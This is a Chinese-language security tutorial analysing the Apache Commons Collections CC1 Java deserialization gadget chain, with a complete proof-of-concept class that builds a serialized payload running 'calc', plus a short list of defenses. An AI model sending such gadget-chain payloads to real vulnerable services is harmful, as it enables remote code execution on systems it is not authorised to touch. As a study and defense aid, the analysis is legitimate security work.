Java反序列化之——cc1链超详细分析
字数 1347 2025-09-23 19:27:46
Apache Commons Collections CC1 反序列化漏洞分析与利用
1. 漏洞概述
Apache Commons Collections 反序列化漏洞(CC1)是一个经典的 Java 反序列化安全漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
核心利用机制:通过 TransformedMap 或 LazyMap 触发 InvokerTransformer 的反射调用,最终通过 Runtime.exec() 执行系统命令。
影响版本:
- JDK版本:小于 1.8.0_8u71
- Commons Collections:3.2.1 及以下版本
2. 环境准备
2.1 所需组件
2.2 Maven 依赖配置
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3. 漏洞原理分析
3.1 整体利用链
AnnotationInvocationHandler.readObject()
→ AbstractMapEntryDecorator.setValue()
→ TransformedMap.checkSetValue()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.getRuntime().exec()
3.2 核心组件分析
3.2.1 InvokerTransformer 类
InvokerTransformer 是漏洞利用的关键,它通过 Java 反射机制动态调用任意类的方法。
关键代码分析:
public Object transform(Object input) {
if (input == null) {
return null;
}
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
利用示例:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", // 方法名
new Class[]{String.class}, // 参数类型
new Object[]{"calc"} // 参数值
);
invokerTransformer.transform(Runtime.getRuntime());
3.2.2 TransformedMap 类
TransformedMap 是一个装饰器,用于对 Map 的键值进行转换操作。
关键属性:
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
关键方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
创建方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
3.2.3 AnnotationInvocationHandler 类
这是反序列化的入口点,其 readObject() 方法会触发整个利用链。
关键代码片段:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
4. 漏洞利用详解
4.1 利用链构造
4.1.1 反射调用链构造
需要通过多个 Transformer 组合完成反射调用:
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
4.1.2 触发链构造
HashMap<Object,Object> map = new HashMap();
map.put("value", "aa"); // key 必须为 "value"
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chain);
4.2 反序列化触发
4.2.1 获取 AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
4.2.2 创建恶意对象
Object handler = constructor.newInstance(Target.class, transformedMap);
4.2.3 序列化与反序列化
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
ois.close();
5. 完整 PoC 代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Poc {
public static void main(String[] args) throws Exception {
// 构造 Transformer 链
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
// 创建 TransformedMap
HashMap<Object,Object> map = new HashMap();
map.put("value", "aa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chain);
// 通过反射创建 AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, transformedMap);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
ois.close();
}
}
6. 关键注意事项
- JDK 版本限制:该漏洞仅在 JDK 8u71 之前的版本中有效
- Key 值要求:Map 的 key 必须为 "value",对应 Target 注解的方法名
- 序列化要求:Runtime 类未实现 Serializable 接口,必须通过反射链获取
- 访问权限:需要设置
setAccessible(true)来访问非公开的构造方法
7. 防御措施
- 升级 Commons Collections 到最新版本
- 升级 JDK 到 8u71 或更高版本
- 使用反序列化过滤器限制可反序列化的类
- 对输入流进行严格验证和过滤
8. 总结
CC1 反序列化漏洞是一个典型的 Java 安全漏洞,通过巧妙的利用 Java 反射机制和 Commons Collections 的特性,实现了从反序列化到任意代码执行的完整利用链。理解这个漏洞有助于深入掌握 Java 安全机制和反序列化漏洞的防御方法。
该漏洞的分析展示了多个重要概念:
- Java 反射机制的安全 implications
- 装饰器模式在安全漏洞中的利用
- 反序列化漏洞的触发机制
- 利用链的构造方法